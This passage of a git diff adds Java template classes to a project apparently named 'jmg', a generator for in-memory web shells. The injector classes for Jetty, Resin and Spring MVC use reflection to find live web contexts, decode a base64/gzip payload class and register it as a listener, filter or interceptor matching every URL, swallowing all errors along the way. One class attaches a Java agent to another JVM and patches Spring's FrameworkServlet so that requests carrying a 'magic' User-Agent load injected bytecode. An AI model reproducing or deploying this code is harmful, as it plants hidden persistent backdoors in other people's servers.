NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/JettyListenerInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/JettyListenerInjectorTpl.java new file mode 100644 index 0000000..fe41ac5 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/JettyListenerInjectorTpl.java @@ -0,0 +1,251 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.EventListener; +import java.util.List; +import java.util.zip.GZIPInputStream; + +/** + * tested v7、v8、v9 + */ +public class JettyListenerInjectorTpl { + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; +} + + static { + new JettyListenerInjectorTpl(); + } + + + public JettyListenerInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getListener(context); + addListener(context, listener); + } + } catch (Exception e) { + + } + + } + + List getContext() { + List contexts = new ArrayList(); + Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]); + for (Thread thread : threads) { + try { + Object contextClassLoader = getContextClassLoader(thread); + if (isWebAppClassLoader(contextClassLoader)) { + contexts.add(getContextFromWebAppClassLoader(contextClassLoader)); + } else if (isHttpConnection(thread)) { + contexts.add(getContextFromHttpConnection(thread)); + } + } catch (Exception ignored) { + } + } + return contexts; + } + + private Object getContextClassLoader(Thread thread) throws Exception { + return invokeMethod(thread, "getContextClassLoader"); + } + + private boolean isWebAppClassLoader(Object classLoader) { + return classLoader.getClass().getName().contains("WebAppClassLoader"); + } + + private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception { + Object context = getFV(classLoader, "_context"); + Object handler = getFV(context, "_servletHandler"); + return getFV(handler, "_contextHandler"); + } + + private boolean isHttpConnection(Thread thread) throws Exception { + Object threadLocals = getFV(thread, "threadLocals"); + Object table = getFV(threadLocals, "table"); + for (int i = 0; i < Array.getLength(table); ++i) { + Object entry = Array.get(table, i); + if (entry != null) { + Object httpConnection = getFV(entry, "value"); + if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { + return true; + } + } + } + return false; + } + + private Object getContextFromHttpConnection(Thread thread) throws Exception { + Object threadLocals = getFV(thread, "threadLocals"); + Object table = getFV(threadLocals, "table"); + for (int i = 0; i < Array.getLength(table); ++i) { + Object entry = Array.get(table, i); + if (entry != null) { + Object httpConnection = getFV(entry, "value"); + if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { + Object httpChannel = invokeMethod(httpConnection, "getHttpChannel"); + Object request = invokeMethod(httpChannel, "getRequest"); + Object session = invokeMethod(request, "getSession"); + Object servletContext = invokeMethod(session, "getServletContext"); + return getFV(servletContext, "this$0"); + } + } + } + throw new Exception("HttpConnection not found"); + } + + + private Object getListener(Object context) { + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return listener; + } + + public static void addListener(Object context, Object listener) { + try { + if (isInjected(context, listener.getClass().getName())) { + return; + } + + invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener}); + } catch (Exception e) { + } + } + + + public static boolean isInjected(Object context, String className) throws Exception { + + try { + // jetty v8、 v9 + EventListener[] eventListeners = (EventListener[]) invokeMethod(context, "getEventListeners"); + for (int i = 0; i < eventListeners.length; i++) { + if (eventListeners[i].getClass().getName().contains(className)) { + return true; + } + } + } catch (Exception e) { + } + + return false; + } + + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/ResinFilterInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/ResinFilterInjectorTpl.java new file mode 100644 index 0000000..774e3bf --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/ResinFilterInjectorTpl.java @@ -0,0 +1,221 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.zip.GZIPInputStream; + +public class ResinFilterInjectorTpl { + public String getUrlPattern() { + return "/*"; + } + + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new ResinFilterInjectorTpl(); + } + + public ResinFilterInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getFilter(context); + addFilter(context, filter); + } + } catch (Exception ignored) { + + } + + } + + private void addFilter(Object context, Object filter) throws Exception { + String filterClassName = filter.getClass().getName(); + if (!isInjected(context, filterClassName)) { + try { + Class filterMappingClass; + try { + filterMappingClass = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping"); + } catch (Exception e) { + filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping"); + } + Object filterMappingImpl = filterMappingClass.newInstance(); + invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{getFilterName(filterClassName)}); + invokeMethod(filterMappingImpl, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); + Object urlPattern = invokeMethod(filterMappingImpl, "createUrlPattern"); + invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{urlPattern}); + invokeMethod(urlPattern, "init"); + invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl}); + invokeMethod(context, "clearCache"); + } catch (Throwable e) { + } + } + } + + public List getContext() { + List contexts = new ArrayList(); + HashSet visited = new HashSet(); + + try { + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + for (Thread thread : threads) { + Class servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); + Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null); + Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]); + if (webApp != null && visited.add(webApp)) { + contexts.add(webApp); + } + } + } catch (Exception e) { + // Handle exception + } + return contexts; + + } + + private Object getFilter(Object context) { + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + filter = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return filter; + } + + + public String getFilterName(String className) { + if (className.contains(".")) { + int lastDotIndex = className.lastIndexOf("."); + return className.substring(lastDotIndex + 1); + } else { + return className; + } + + } + + public boolean isInjected(Object context, String evilClassName) throws Exception { + Map filters = (Map) getFV(getFV(context, "_filterManager"), "_filters"); + for (String key : filters.keySet()) { + if (key.contains(evilClassName)) { + return true; + } + } + return false; + } + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} \ No newline at end of file diff --git a/jmg-core/src/main/java/jmg/core/template/ResinListenerInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/ResinListenerInjectorTpl.java new file mode 100644 index 0000000..22f6d13 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/ResinListenerInjectorTpl.java @@ -0,0 +1,188 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashSet; +import java.util.List; +import java.util.zip.GZIPInputStream; + +public class ResinListenerInjectorTpl { + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new ResinListenerInjectorTpl(); + } + + public ResinListenerInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getListener(context); + injectListener(context, listener); + } + } catch (Exception ignored) { + + } + + } + + private void injectListener(Object context, Object listener) throws Exception { + if (!isInjected(context, listener.getClass().getName())) { + invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true}); + // 清除缓存,否则某些 uri 无法连接 + invokeMethod(context, "clearCache"); + + } + } + + public List getContext() { + List contexts = new ArrayList(); + HashSet visited = new HashSet(); + try { + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + for (Thread thread : threads) { + Class servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); + Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null); + Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]); + if (webApp != null && visited.add(webApp)) { + contexts.add(webApp); + } + } + } catch (Exception e) { + } + return contexts; + + } + + private Object getListener(Object context) { + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return listener; + } + + public boolean isInjected(Object context, String evilClassName) throws Exception { + ArrayList arrayList = (ArrayList) getFV(context, "_requestListeners"); + for (int i = 0; i < arrayList.size(); i++) { + if (arrayList.get(i).getClass().getName().contains(evilClassName)) { + return true; + } + } + return false; + } + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} \ No newline at end of file diff --git a/jmg-core/src/main/java/jmg/core/template/SpringMVCAgentTransformer.java b/jmg-core/src/main/java/jmg/core/template/SpringMVCAgentTransformer.java new file mode 100644 index 0000000..7236083 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/SpringMVCAgentTransformer.java @@ -0,0 +1,200 @@ +package jmg.core.template; + +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import java.io.File; +import java.io.FileOutputStream; +import java.io.InputStream; +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.IllegalClassFormatException; +import java.lang.instrument.Instrumentation; +import java.lang.instrument.UnmodifiableClassException; +import java.lang.management.ManagementFactory; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; +import java.security.ProtectionDomain; +import java.util.List; + +public class SpringMVCAgentTransformer implements ClassFileTransformer { + + public static final String targetClassName = "org.springframework.web.servlet.FrameworkServlet"; + public static final String targetMethodName = "service"; + public String injectHeaderName = "User-Agent"; + + public String injectHeaderValue = "magic"; + + public String getInjectorCode() { + return ""; + } + + public static void agentmain(String args, Instrumentation instrumentation) throws UnmodifiableClassException { + instrumentation.addTransformer(new SpringMVCAgentTransformer(), true); + for (Class clz : instrumentation.getAllLoadedClasses()) { + if (!clz.getName().equals(targetClassName)) continue; + instrumentation.retransformClasses(clz); + } + } + + @Override + public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { + className = className.replace("/", "."); + if (className.equals(targetClassName) && classBeingRedefined != null) { + try { + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(classBeingRedefined)); + CtClass ctClass = pool.getCtClass(className); + CtMethod ctMethod = ctClass.getDeclaredMethod(targetMethodName); + String injectorCode = getInjectorCode(); + String code = String.format("try {\n" + + " if ($1.getHeader(\"%s\") != null && $1.getHeader(\"%s\").contains(\"%s\")) {\n" + + " String injectorCode = \"%s\";\n" + + " byte[] byteArray;\n" + + " try {\n" + + " Class base64DecoderClazz = Class.forName(\"sun.misc.BASE64Decoder\");\n" + + " byteArray = (byte[]) base64DecoderClazz.getMethod(\"decodeBuffer\", new Class[]{String.class}).invoke(base64DecoderClazz.newInstance(), new Object[]{injectorCode});\n" + + " } catch (Throwable e) {\n" + + " Class base64Clazz = Class.forName(\"java.util.Base64\");\n" + + " Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" + + " byteArray = (byte[]) base64Clazz.getMethod(\"decode\", new Class[]{byte[].class}).invoke(decoder, new Object[]{injectorCode});\n" + + " }\n" + + " java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" + + " java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" + + " method.setAccessible(true);\n" + + " Class clazz = (Class) method.invoke(classLoader, new Object[]{byteArray, new Integer(0), new Integer(byteArray.length)});\n" + + " clazz.newInstance();\n" + + " }\n" + + " } catch (Exception e) {\n" + + " e.printStackTrace();\n" + + " }", injectHeaderName, injectHeaderName, injectHeaderValue, injectorCode); + ctMethod.insertBefore(code); + byte[] bytes = ctClass.toBytecode(); + ctClass.detach(); + return bytes; + } catch (Exception e) { + e.printStackTrace(); + return new byte[0]; + } + } + return new byte[0]; + } + + private static Class virtualMachineClass; + private static Class virtualMachineDescriptorClass; + private static List vms; + + static { + try { + // 获取 tools.jar 的路径 + StringBuilder toolsJarPath = new StringBuilder(); + toolsJarPath.append(System.getProperty("java.home")) + .append(File.separator) + .append("..") + .append(File.separator) + .append("lib") + .append(File.separator) + .append("tools.jar"); + File toolsJarFile = new File(toolsJarPath.toString()); + + // 如果 JDK 目录下没有找到 tools.jar(纯JRE) + if (!toolsJarFile.exists() || !toolsJarFile.isFile()) { + // 释放内置的 tools.jar + InputStream jarStream = SpringMVCAgentTransformer.class.getClassLoader().getResourceAsStream("tools.jar"); + toolsJarFile = File.createTempFile("tools", ".jar"); + + FileOutputStream out = null; + try { + out = new FileOutputStream(toolsJarFile); + byte[] buffer = new byte[1024]; + int bytesRead; + while ((bytesRead = jarStream.read(buffer)) != -1) { + out.write(buffer, 0, bytesRead); + } + } finally { + if (out != null) { + out.close(); + } + } + } + + // Load the VirtualMachine and VirtualMachineDescriptor classes + URL url = toolsJarFile.toURI().toURL(); + URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url}); + virtualMachineClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine"); + virtualMachineDescriptorClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor"); + vms = (List) virtualMachineClass.getMethod("list").invoke(virtualMachineClass); + } catch (Exception e) { + e.printStackTrace(); + } + + } + + public static void main(String[] args) throws Exception { + String jvmProcessId = null; + if (args.length == 0) { + // 列出所有 pid + listAllJvmPids(); + } else { + try { + Integer.parseInt(args[0]); + jvmProcessId = args[0]; + attachAgentToTargetJvm(jvmProcessId); + } catch (NumberFormatException e) { + throw new IllegalArgumentException("Argument must be an integer representing a JVM process ID"); + } + } + } + + + public static void listAllJvmPids() throws Exception { + for (Object vm : vms) { + Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName"); + String displayName = (String) displayNameMethod.invoke(vm); + Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id"); + String id = (String) getId.invoke(vm); + infoLog(String.format("Found pid %s ——> [%s]", id, displayName)); + } + } + + private static void attachAgentToTargetJvm(String targetPID) throws Exception { + String agentFilePath = new File(SpringMVCAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath(); + infoLog("Current agent path: " + agentFilePath); + File agentFile = new File(agentFilePath); + String currentPid = getCurrentPID(); + if (targetPID.equals(currentPid)) { + infoLog("Skipping attaching to self"); + } else { + try { + infoLog("Attaching to target JVM with PID: " + targetPID); + Object jvm = virtualMachineClass.getMethod("attach", new Class[]{String.class}).invoke(null, targetPID); + Method loadAgent = virtualMachineClass.getDeclaredMethod("loadAgent", String.class); + loadAgent.invoke(jvm, agentFile.getAbsolutePath()); + Method detach = virtualMachineClass.getDeclaredMethod("detach"); + detach.invoke(jvm); + successLog("Attached to target JVM and loaded agent successfully"); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + + private static String getCurrentPID() { + return ManagementFactory.getRuntimeMXBean().getName().split("@")[0]; + } + + public static void infoLog(String message) { + System.out.println("[*] " + message); + } + + public static void failLog(String message) { + System.out.println("[-] " + message); + } + + public static void successLog(String message) { + System.out.println("[+] " + message); + } + +} \ No newline at end of file diff --git a/jmg-core/src/main/java/jmg/core/template/SpringMVCInterceptorInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/SpringMVCInterceptorInjectorTpl.java new file mode 100644 index 0000000..0b222ea --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/SpringMVCInterceptorInjectorTpl.java @@ -0,0 +1,183 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.LinkedHashSet; +import java.util.zip.GZIPInputStream; + +public class SpringMVCInterceptorInjectorTpl { + + public String getUrlPattern() { + return "/*"; + } + + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + + public SpringMVCInterceptorInjectorTpl() throws Exception { + Object context = getContext(); + Object interceptor = getInterceptor(); + addInterceptor(context, interceptor); + + } + + public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Object context = null; + try { + Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes"); + Object httprequest = invokeMethod(requestAttributes, "getRequest"); + Object session = invokeMethod(httprequest, "getSession"); + Object servletContext = invokeMethod(session, "getServletContext"); + context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{classLoader.loadClass("javax.servlet.ServletContext")}, new Object[]{servletContext}); + } catch (Exception e) { + } + + if (context == null) { + try { + LinkedHashSet applicationContexts = (LinkedHashSet) getFV(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts"); + Object applicationContext = applicationContexts.iterator().next(); + if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) { + context = applicationContext; + } + } catch (Exception ignored) { + } + } + return context; + } + + private Object getInterceptor() throws Exception { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Object interceptor = null; + try { + interceptor = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + interceptor = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return interceptor; + } + + public void addInterceptor(Object context, Object interceptor) { + try { + Object abstractHandlerMapping = invokeMethod(context, "getBean", new Class[]{String.class}, new Object[]{"requestMappingHandlerMapping"}); + ArrayList adaptedInterceptors = (ArrayList) getFV(abstractHandlerMapping, "adaptedInterceptors"); + adaptedInterceptors.add(interceptor); + } catch (Exception ignored) { + } + } + + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + synchronized void setFV(Object var0, String var1, Object val) throws Exception { + getF(var0, var1).set(var0, val); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return 